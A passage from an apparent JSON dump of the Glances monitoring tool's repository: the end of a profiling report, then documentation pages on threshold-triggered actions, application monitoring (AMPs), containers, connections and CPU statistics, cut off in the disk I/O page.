\"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.004000,\"attributes\": {\"cProcesslistPlugin\": 0.004000187000201549, \"l360\": 0.004000187000201549},\"children\": [{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020004250036436133, \"l340\": 0.0020004250036436133},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999603002332151, \"l440\": 0.001999603002332151},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999603002332151, \"l296\": 0.001999603002332151},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999603002332151, \"l967\": 0.001999603002332151},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000410997425206, \"l429\": 0.002000410997425206},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000410997425206, \"l276\": 0.002000410997425206},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000410997425206, \"l969\": 0.002000410997425206},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/help/__init__.py\\u0000151\",\"time\": 0.002015,\"attributes\": {\"cHelpPlugin\": 0.002015013000345789, \"l233\": 0.002015013000345789},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002015,\"attributes\": {\"cHelpPlugin\": 0.002015013000345789, \"l1130\": 0.002015013000345789},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002015,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002370,\"attributes\": {},\"children\": []}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100598,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059823199844686, \"l291\": 0.10059823199844686},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100598,\"attributes\": {\"cGlancesCursesStandalone\": 0.10059823199844686, \"l260\": 0.10059823199844686},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100598,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100598,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100505,\"attributes\": {\"cGlancesCursesStandalone\": 0.10050483400118537, \"l1202\": 0.10050483400118537},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100505,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100505,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100571,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057056300138356, \"l291\": 0.10057056300138356},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100571,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057056300138356, \"l260\": 0.10057056300138356},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100571,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100571,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100462,\"attributes\": {\"cGlancesCursesStandalone\": 0.10046209800202632, \"l1202\": 0.10046209800202632},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100462,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100462,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100591,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005905099955271, \"l291\": 0.1005905099955271},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100591,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005905099955271, \"l260\": 0.1005905099955271},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100591,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100591,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100335,\"attributes\": {\"cGlancesCursesStandalone\": 0.10033501499856357, \"l1202\": 0.10033501499856357},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100335,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100335,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100490,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049000500293914, \"l291\": 0.10049000500293914},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100490,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049000500293914, \"l260\": 0.10049000500293914},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100490,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100490,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100395,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039462900022045, \"l1202\": 0.10039462900022045},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100395,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100395,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100582,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058216499601258, \"l291\": 0.10058216499601258},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100582,\"attributes\": {\"cGlancesCursesStandalone\": 0.10058216499601258, \"l260\": 0.10058216499601258},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100582,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100582,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100392,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039200900064316, \"l1202\": 0.10039200900064316},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100392,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100392,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100433,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043344500445528, \"l291\": 0.10043344500445528},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100433,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043344500445528, \"l260\": 0.10043344500445528},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100433,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100433,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100393,\"attributes\": {\"cGlancesCursesStandalone\": 0.10039282700017793, \"l1202\": 0.10039282700017793},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100393,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100393,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100233,\"attributes\": {\"cGlancesCursesStandalone\": 0.10023318699677475, \"l291\": 0.10023318699677475},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100233,\"attributes\": {\"cGlancesCursesStandalone\": 0.10023318699677475, \"l260\": 0.10023318699677475},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100233,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100233,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100250,\"attributes\": {\"cGlancesCursesStandalone\": 0.10024958400026662, \"l1202\": 0.10024958400026662},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100250,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100250,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100521,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052132199780317, \"l291\": 0.10052132199780317},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100521,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052132199780317, \"l260\": 0.10052132199780317},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100521,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100521,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100448,\"attributes\": {\"cGlancesCursesStandalone\": 0.1004480629999307, \"l1202\": 0.1004480629999307},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100448,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100448,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100499,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049924300255952, \"l291\": 0.10049924300255952},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100499,\"attributes\": {\"cGlancesCursesStandalone\": 0.10049924300255952, \"l260\": 0.10049924300255952},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100499,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100499,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100233,\"attributes\": {\"cGlancesCursesStandalone\": 0.10023298300075112, \"l1202\": 0.10023298300075112},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100233,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100233,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100534,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005343159995391, \"l291\": 0.1005343159995391},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100534,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005343159995391, \"l260\": 0.1005343159995391},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100534,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100534,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100454,\"attributes\": {\"cGlancesCursesStandalone\": 0.10045383300166577, \"l1202\": 0.10045383300166577},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100454,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100454,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}};\n                    pyinstrumentHTMLRenderer.render(document.getElementById('app'), sessionData);\n                </script>\n            </body>\n            </html>\n        "
  },
  {
    "path": "docs/_templates/links.html",
    "content": "<h3>Useful Links</h3>\n<ul>\n  <li><a href=\"https://pypi.python.org/pypi/Glances\">Glances @ PyPI</a></li>\n  <li><a href=\"https://github.com/nicolargo/glances\">Glances @ GitHub</a></li>\n  <li><a href=\"https://github.com/nicolargo/glances/issues\">Issue Tracker</a></li>\n  <li><a href=\"https://groups.google.com/forum/#!forum/glances-users\">Forum</a></li>\n</ul>\n"
  },
  {
    "path": "docs/aoa/actions.rst",
    "content": ".. _actions:\n\nActions\n=======\n\nGlances can trigger actions on events for warning and critical thresholds.\n\nBy ``action``, we mean all shell command line. For example, if you want\nto execute the ``foo.py`` script if the last 5 minutes load are critical\nthen add the ``_action`` line to the Glances configuration file:\n\n.. code-block:: ini\n\n    [load]\n    critical=5.0\n    critical_action=python /path/to/foo.py\n\nAll the stats are available in the command line through the use of the\n`Mustache`_ syntax. `Chevron`_ is required to render the mustache's template syntax.\n\nAdditionaly to the stats of the current plugin, the following variables are\nalso available:\n- ``{{time}}``: current time in ISO format\n- ``{{critical}}``: critical threshold value\n- ``{{warning}}``: warning threshold value\n- ``{{careful}}``: careful threshold value\n\nAnother example would be to create a log file\ncontaining used vs total disk space if a space trigger warning is\nreached:\n\n.. code-block:: ini\n\n    [fs]\n    warning=70\n    warning_action=python /path/to/fs-warning.py {{mnt_point}} {{used}} {{size}}\n\n.. note::\n\n    For security reasons, Mustache-rendered values are sanitized: the\n    characters ``&&``, ``|``, ``>`` and ``>>`` are replaced by spaces\n    before execution. This prevents command injection through\n    user-controllable data such as process names, container names or\n    mount points.\n\n    As a consequence, **shell operators (pipes, redirections, command\n    chaining) cannot be used directly in action command lines**. If your\n    action requires pipes, redirections or chained commands, write a\n    shell script and call it from the action instead.\n\nFor example, to create a log file containing the total user disk\nspace usage for a device and notify by email each time a space trigger\ncritical is reached, create a shell script ``/etc/glances/actions.d/fs-critical.sh``:\n\n.. code-block:: bash\n\n    #!/bin/bash\n    # Usage: fs-critical.sh <time> <device_name> <percent>\n    echo \"$1 $2 $3\" > /tmp/fs.alert\n    python /etc/glances/actions.d/fs-critical.py\n\nThen reference it in the configuration file:\n\n.. code-block:: ini\n\n    [fs]\n    critical=90\n    critical_action_repeat=/etc/glances/actions.d/fs-critical.sh {{time}} {{device_name}} {{percent}}\n\nWithin ``/etc/glances/actions.d/fs-critical.py``:\n\n.. code-block:: python\n\n    import subprocess\n    from requests import get\n\n    fs_alert = open('/tmp/fs.alert', 'r').readline().strip().split(' ')\n    device = fs_alert[0]\n    percent = fs_alert[1]\n    system = subprocess.check_output(['uname', '-rn']).decode('utf-8').strip()\n    ip = get('https://api.ipify.org').text\n\n    body = 'Used user disk space for ' + device + ' is at ' + percent + '%.\\nPlease cleanup the filesystem to clear the alert.\\nServer: ' + str(system)+ '.\\nIP address: ' + ip\n    ps = subprocess.Popen(('echo', '-e', body), stdout=subprocess.PIPE)\n    subprocess.call(['mail', '-s', 'CRITICAL: disk usage above 90%', '-r', 'postmaster@example.com', 'glances@example.com'], stdin=ps.stdout)\n\n.. note::\n\n    You can use all the stats for the current plugin. See\n    https://github.com/nicolargo/glances/wiki/The-Glances-RESTFUL-JSON-API\n    for the stats list.\n\nIt is also possible to repeat action until the end of the alert.\nKeep in mind that the command line is executed every refresh time so\nuse with caution:\n\n.. code-block:: ini\n\n    [load]\n    critical=5.0\n    critical_action_repeat=/home/myhome/bin/bipper.sh\n\n.. _Mustache: https://mustache.github.io/\n.. _Chevron: https://github.com/noahmorrison/chevron\n"
  },
  {
    "path": "docs/aoa/amps.rst",
    "content": ".. _amps:\n\nApplications Monitoring Process\n===============================\n\nThanks to Glances and its AMP module, you can add specific monitoring to\nrunning processes. AMPs are defined in the Glances :ref:`configuration file<config>`.\n\nYou can disable AMP using the ``--disable-plugin amps`` option or pressing the\n``A`` key.\n\nSimple AMP\n----------\n\nFor example, a simple AMP that monitor the CPU/MEM of all Python\nprocesses can be defined as follows:\n\n.. code-block:: ini\n\n    [amp_python]\n    enable=true\n    regex=.*python.*\n    refresh=3\n\nEvery 3 seconds (``refresh``) and if the ``enable`` key is true, Glances\nwill filter the running processes list thanks to the ``.*python.*``\nregular expression (``regex``).\n\nThe default behavior for an AMP is to display the number of matching\nprocesses, CPU and MEM:\n\n.. image:: ../_static/amp-python.png\n\nYou can also define the minimum (``countmin``) and/or maximum\n(``countmax``) process number. For example:\n\n.. code-block:: ini\n\n    [amp_python]\n    enable=true\n    regex=.*python.*\n    refresh=3\n    countmin=1\n    countmax=2\n\nWith this configuration, if the number of running Python scripts is\nhigher than 2, then the AMP is displayed with a purple color (red if\nless than countmin):\n\n.. image:: ../_static/amp-python-warning.png\n\nIf the regex option is not defined, the AMP will be executed every refresh\ntime and the process count will not be displayed (countmin and countmax will\nbe ignored).\n\nFor example:\n\n.. code-block:: ini\n\n    [amp_conntrack]\n    enable=false\n    refresh=30\n    one_line=false\n    command=sysctl net.netfilter.nf_conntrack_count && sysctl net.netfilter.nf_conntrack_max\n\nNote: for multiple command, please use the '&&'' separator.\n\nFor security reason, pipe is not directly allowed in a AMP command but you create a shell\nscript with your command:\n\n.. code-block:: ini\n\n    $ cat /usr/local/bin/mycommand.sh\n    #!/bin/sh\n    ps -aux | wc -l\n\nand use it in the amps:\n\n.. code-block:: ini\n\n    [amp_amptest]\n    enable=true\n    regex=.*\n    refresh=15\n    one_line=false\n    command=/usr/local/bin/mycommand.sh\n\nUser defined AMP\n----------------\n\nIf you need to execute a specific command line, you can use the\n``command`` option. For example, if you want to display the Dropbox\nprocess status, you can define the following section in the Glances\nconfiguration file:\n\n.. code-block:: ini\n\n    [amp_dropbox]\n    # Use the default AMP (no dedicated AMP Python script)\n    enable=true\n    regex=.*dropbox.*\n    refresh=3\n    one_line=false\n    command=dropbox status\n    countmin=1\n\nThe ``dropbox status`` command line will be executed and displayed in\nthe Glances UI:\n\n.. image:: ../_static/amp-dropbox.png\n\nYou can force Glances to display the result in one line setting\n``one_line`` to true.\n\nEmbedded AMP\n------------\n\nGlances provides some specific AMP scripts (replacing the ``command``\nline). You can write your own AMP script to fill your needs. AMP scripts\nare located in the ``amps`` folder and should be named ``glances_*.py``.\nAn AMP script define an Amp class (``GlancesAmp``) with a mandatory\nupdate method. The update method call the ``set_result`` method to set\nthe AMP return string. The return string is a string with one or more\nline (\\n between lines). To enable it, the configuration file section\nshould be named ``[amp_*]``.\n\nFor example, if you want to enable the Nginx AMP, the following\ndefinition should do the job (Nginx AMP is provided by the Glances team\nas an example):\n\n.. code-block:: ini\n\n    [amp_nginx]\n    enable=true\n    regex=\\/usr\\/sbin\\/nginx\n    refresh=60\n    one_line=false\n    status_url=http://localhost/nginx_status\n\nHere's the result:\n\n.. image:: ../_static/amps.png\n\nIn client/server mode, the AMP list is defined on the server side.\n"
  },
  {
    "path": "docs/aoa/cloud.rst",
    "content": ".. _cloud:\n\nCLOUD\n=====\n\nThis plugin displays information about the cloud provider if your host is running on OpenStack.\n\nThe plugin use the standard OpenStack `metadata`_ service to retrieve the information.\n\nThis plugin is disable by default, please use the --enable-plugin cloud option\nto enable it.\n\n.. image:: ../_static/cloud.png\n\n.. _metadata: https://docs.openstack.org/nova/latest/user/metadata.html"
  },
  {
    "path": "docs/aoa/connections.rst",
    "content": ".. _connections:\n\nConnections\n===========\n\n.. image:: ../_static/connections.png\n\nThis plugin display extended information about network connections.\n\nThe states are the following:\n\n- Listen: all ports created by server and waiting for a client to connect\n- Initialized: All states when a connection is initialized (sum of SYN_SENT and SYN_RECEIVED)\n- Established: All established connections between a client and a server\n- Terminated: All states when a connection is terminated (FIN_WAIT1, CLOSE_WAIT, LAST_ACK, FIN_WAIT2, TIME_WAIT and CLOSE)\n- Tracked: Current number and maximum Netfilter tracker connection (nf_conntrack_count/nf_conntrack_max)\n\nThe configuration should be done in the ``[connections]`` section of the\nGlances configuration file.\n\nBy default the plugin is **disabled**. Please change your configuration file as following to enable it\n\n.. code-block:: ini\n\n    [connections]\n    disable=False\n    # nf_conntrack thresholds in %\n    nf_conntrack_percent_careful=70\n    nf_conntrack_percent_warning=80\n    nf_conntrack_percent_critical=90\n"
  },
  {
    "path": "docs/aoa/containers.rst",
    "content": ".. _containers:\n\nContainers\n==========\n\nIf you use ``containers``, Glances can help you to monitor your Docker, Podman,\nor LXD containers. Glances uses the containers API through the `docker-py`_,\n`podman-py`_, and `pylxd`_ libraries.\n\nYou can install this dependency using:\n\n.. code-block:: console\n\n    pip install glances[containers]\n\n.. image:: ../_static/containers.png\n\nNote: Memory usage is compute as following \"display memory usage = memory usage - inactive_file\"\n\nIt is possible to define limits and actions from the configuration file\nunder the ``[containers]`` section:\n\n.. code-block:: ini\n\n    [containers]\n    disable=False\n    # Only show specific containers (comma-separated list of container name or regular expression)\n    show=thiscontainer,andthisone,andthoseones.*\n    # Hide some containers (comma-separated list of container name or regular expression)\n    hide=donotshowthisone,andthose.*\n    # Show only specific containers (comma-separated list of container name or regular expression)\n    #show=showthisone,andthose.*\n    # Define the maximum containers size name (default is 20 chars)\n    max_name_size=20\n    # List of stats to disable (not display)\n    # Following stats can be disabled: name,status,uptime,cpu,mem,diskio,networkio,ports,command\n    disable_stats=command\n    # Global containers' thresholds for CPU and MEM (in %)\n    cpu_careful=50\n    cpu_warning=70\n    cpu_critical=90\n    mem_careful=20\n    mem_warning=50\n    mem_critical=70\n    # Per container thresholds\n    containername_cpu_careful=10\n    containername_cpu_warning=20\n    containername_cpu_critical=30\n    containername_cpu_critical_action=/etc/glances/actions.d/container-alert.sh {{Image}} {{Id}} {{cpu}} {{name}}\n    # By default, Glances only display running containers\n    # Set the following key to True to display all containers\n    all=False\n    # Define Podman sock\n    #podman_sock=unix:///run/user/1000/podman/podman.sock\n\nYou can use all the variables ({{foo}}) available in the containers plugin.\n\n.. note::\n\n    Shell operators (``&&``, ``|``, ``>``, ``>>``) are **not allowed**\n    directly in action command lines. If your action requires pipes or\n    redirections, write a shell script and call it from the action.\n    For example, create ``/etc/glances/actions.d/container-alert.sh``:\n\n    .. code-block:: bash\n\n        #!/bin/bash\n        # Usage: container-alert.sh <image> <id> <cpu> <name>\n        echo \"$1 $2 $3\" > \"/tmp/container_$4.alert\"\n\n    See :ref:`actions` for details.\n\nFiltering (for hide or show) is based on regular expression. Please be sure that your regular\nexpression works as expected. You can use an online tool like `regex101`_ in\norder to test your regular expression.\n\n.. _regex101: https://regex101.com/\n.. _docker-py: https://github.com/containers/containers-py\n.. _podman-py: https://github.com/containers/podman-py\n.. _pylxd: https://github.com/canonical/pylxd\n"
  },
  {
    "path": "docs/aoa/cpu.rst",
    "content": ".. _cpu:\n\nCPU\n===\n\nThe CPU stats are shown as a percentage or values and for the configured\nrefresh time.\n\nThe total CPU usage is displayed on the first line.\n\n.. image:: ../_static/cpu.png\n\nIf enough horizontal space is available, extended CPU information are\ndisplayed.\n\n.. image:: ../_static/cpu-wide.png\n\nCPU stats description:\n\n- **total**: sum of all CPU percentages (except idle).\n- **total_min**: minimum total observed since Glances startup.\n- **total_max**: maximum total observed since Glances startup.\n- **total_mean**: mean (average) total computed from the history.\n- **user**: percent time spent in user space. User CPU time is the time\n  spent on the processor running your program's code (or code in\n  libraries).\n- **system**: percent time spent in kernel space. System CPU time is the\n  time spent running code in the Operating System kernel.\n- **idle**: percent of CPU used by any program. Every program or task\n  that runs on a computer system occupies a certain amount of processing\n  time on the CPU. If the CPU has completed all tasks it is idle.\n- **nice** *(\\*nix)*: percent time occupied by user level processes with\n  a positive nice value. The time the CPU has spent running users'\n  processes that have been *niced*.\n- **irq** *(Linux, \\*BSD)*: percent time spent servicing/handling\n  hardware/software interrupts. Time servicing interrupts (hardware +\n  software).\n- **iowait** *(Linux)*: percent time spent by the CPU waiting for I/O\n  operations to complete.\n- **steal** *(Linux)*: percentage of time a virtual CPU waits for a real\n  CPU while the hypervisor is servicing another virtual processor.\n- **guest** *(Linux)*: percentage of time a virtual CPU spends\n  servicing another virtual CPU under the control of the Linux kernel.\n- **ctx_sw**: number of context switches (voluntary + involuntary) per\n  second. A context switch is a procedure that a computer's CPU (central\n  processing unit) follows to change from one task (or process) to\n  another while ensuring that the tasks do not conflict.\n- **inter**: number of interrupts per second.\n- **sw_inter**: number of software interrupts per second. Always set to\n  0 on Windows and SunOS.\n- **syscal**: number of system calls per second. Do not displayed on\n  Linux (always 0).\n- **dpc**: *(Windows)*: time spent servicing deferred procedure calls.\n\nTo switch to per-CPU stats, just hit the ``1`` key:\n\n.. image:: ../_static/per-cpu.png\n\nIn this case, Glances will show on line per logical CPU on the system.\nIf you have multiple core, it is possible to define the maximum number\nof CPU to display. The top 'max_cpu_display' will be display and an\nextra line with the mean of all others CPU will be added.\n\n.. code-block:: ini\n\n  [percpu]\n  # Define the maximum number of CPU display at a time\n  # If the number of CPU is higher than:\n  # - display the top 'max_cpu_display' (sorted by CPU consumption)\n  # - a last line will be added with the sum of all other CPUs\n  max_cpu_display=4\n\nLogical cores means the number of physical cores multiplied by the number\nof threads that can run on each core (this is known as Hyper Threading).\n\nBy default, ``steal`` CPU time alerts aren't logged. If you want that,\njust add to the configuration file:\n\n.. code-block:: ini\n\n    [cpu]\n    steal_log=True\n\nLegend:\n\n================= ============\nCPU (user/system) Status\n================= ============\n``<50%``          ``OK``\n``>50%``          ``CAREFUL``\n``>70%``          ``WARNING``\n``>90%``          ``CRITICAL``\n================= ============\n\n.. note::\n    Limit values can be overwritten in the configuration file under\n    the ``[cpu]`` and/or ``[percpu]`` sections.\n"
  },
  {
    "path": "docs/aoa/diskio.rst",
    "content": ".. _disk:\n\nDisk I/O\n========\n\n.. image:: ../_static/diskio.png\n\nGlances displays the disk I/O throughput, count and mean latency:\n- bytes per second (default behavior / Bytes/s, KBytes/s, MBytes/s, etc)\n- requests per second (using --diskio-iops option or *B* hotkey)\n- mean latency (using --diskio-latency option or *L* hotkey)\n\nIt's also possible to define:\n\n- a list of disk to show (white list)\n- a list of disks to hide\n- aliases for disk name  (use \\ to espace special characters)\n\nunder the ``[diskio]`` section in the configuration file.\n\nFor example, if you want to hide the loopback disks (loop0, loop1, ...)\nand the specific ``sda5`` partition:\n\n.. code-block:: ini\n\n    [diskio]\n    hide=sda5,loop.*\n\nor another example:\n\n.. code-block:: ini\n\n    [diskio]\n    show=sda.*\n\nFiltering is based on regular expression. Please be sure that your regular\nexpression works as expected. You can use an online tool like `regex101`_ in\norder to test your regular expression.\n\nIt is also possible to define thesholds for latency and bytes read and write per second:\n\n.. code-block:: ini\n\n    [diskio]\n    # Alias for sda1 and sdb1\n    #alias=sda1:SystemDisk,sdb1:DataDisk\n    # Default latency thresholds (in ms) (rx = read / tx = write)\n    rx_latency_careful=10\n    rx_latency_warning=20\n    rx_latency_critical=50\n    tx_latency_careful=10\n    tx_latency_warning=20\n    tx_latency_critical=50\n    # Set thresholds (in bytes per second) for a given disk name (rx = read / tx = write)\n    